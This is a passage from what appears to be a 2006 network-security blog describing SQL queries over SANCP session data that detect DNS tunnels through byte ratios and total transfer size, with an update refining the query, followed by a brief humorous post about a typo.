I fixed this problem by also looking for a minimum number of bytes transferred (in either direction). After all, the purpose of a DNS tunnel is to transfer data, so if there are only a few bytes, the odds are very, very good that it's not a tunnel. In this version, I've set up the query also to check that the total number of source and
destination bytes is at least 50,000:

 select start_time, end_time, INET_NTOA(src_ip), src_port,
 INET_NTOA(dst_ip), dst_port, ip_proto, (src_bytes + dst_bytes) as
 total, (src_bytes / dst_bytes) as ratio from sancp where dst_port =
 53 and start_time between DATE_SUB(CURDATE(), INTERVAL 7 DAY) and
 CURDATE() having ratio >= 2 and total > 50000 order by total DESC,
 ratio DESC LIMIT 25;

This brings the number of false positives down quite a bit. If this still isn't good enough, you can tune both the ratio and the total bytes to give you whatever level of sensitivity you feel comfortable with. Increasing either number should decrease false positives, but at the expense of creating more false negatives (ie, you might miss some tunnels).

By the way, I mentioned before that you could use the same approach to detect either exfiltration or infiltration. The queries above are written for exfiltration, so if you would like to look for infiltration, simply change the definition of the "ratio" parameter from this:

(src_bytes / dst_bytes) as ratio

to this:

(dst_bytes / src_bytes) as ratio

That'll look for data going in the other direction. The rest of the query is identical for either case.

As I mentioned, I've never encountered a DNS tunnel outside of a lab environment (yet), so I can't say how well my approach holds up in the real world. If anyone with more experience would like to comment, I'm all ears. Similarly, if anyone decides to try out my method, I'd love to hear how it works out for you.

Update 2006-05-04 14:33: My fellow #snort-gui hanger-on and all-around smart guy tranzorp has posted additional analysis of my ideas on his blog. Specifically, he points to two easy ways to evade this simple type of analysis, and I recommend that you read his post for yourself, because he's got a lot of experience with this topic.

If you just want a quick 'bang-it-out-in-an-emergency' check for tunnels, the following updated query isn't bad. It's the same as above, but corrects for the fact that the DNS reply contains a complete copy of the DNS query, as tranzorp pointed out:

 select start_time, end_time, INET_NTOA(src_ip), src_port,
 INET_NTOA(dst_ip), dst_port, ip_proto, 
(src_bytes + (dst_bytes - src_bytes)) as  total,
(src_bytes / (dst_bytes - src_bytes)) as ratio 
from sancp where dst_port =  53 and 
start_time between DATE_SUB(CURDATE(), INTERVAL 7 DAY) and
 CURDATE() having ratio >= 2 and total > 50000 order by total DESC,
 ratio DESC LIMIT 25;

Based on feedback I've received from tranzorp and others, I'm looking at a more statistical approach to the problem. In short, I'm experimenting with computing a psuedo-bandwidth for each session (bytes sent / session duration), then looking for abnormally high or low bandwidth sessions. I've got a prototype, but it's in perl so it's horribly inefficient for the mountain of DNS session data I collect. I'll post something about it when I have had a chance to tweak on it some more.

Unintentionally acknowledging the truth

Here's a funny typo in a recent article about Verizon upgrading the bandwidth on it's fiber-to-the-home service:

The 30-Mbit premium tier was left untouched, in bot performance and price.

Too true, I'm afraid. Too true.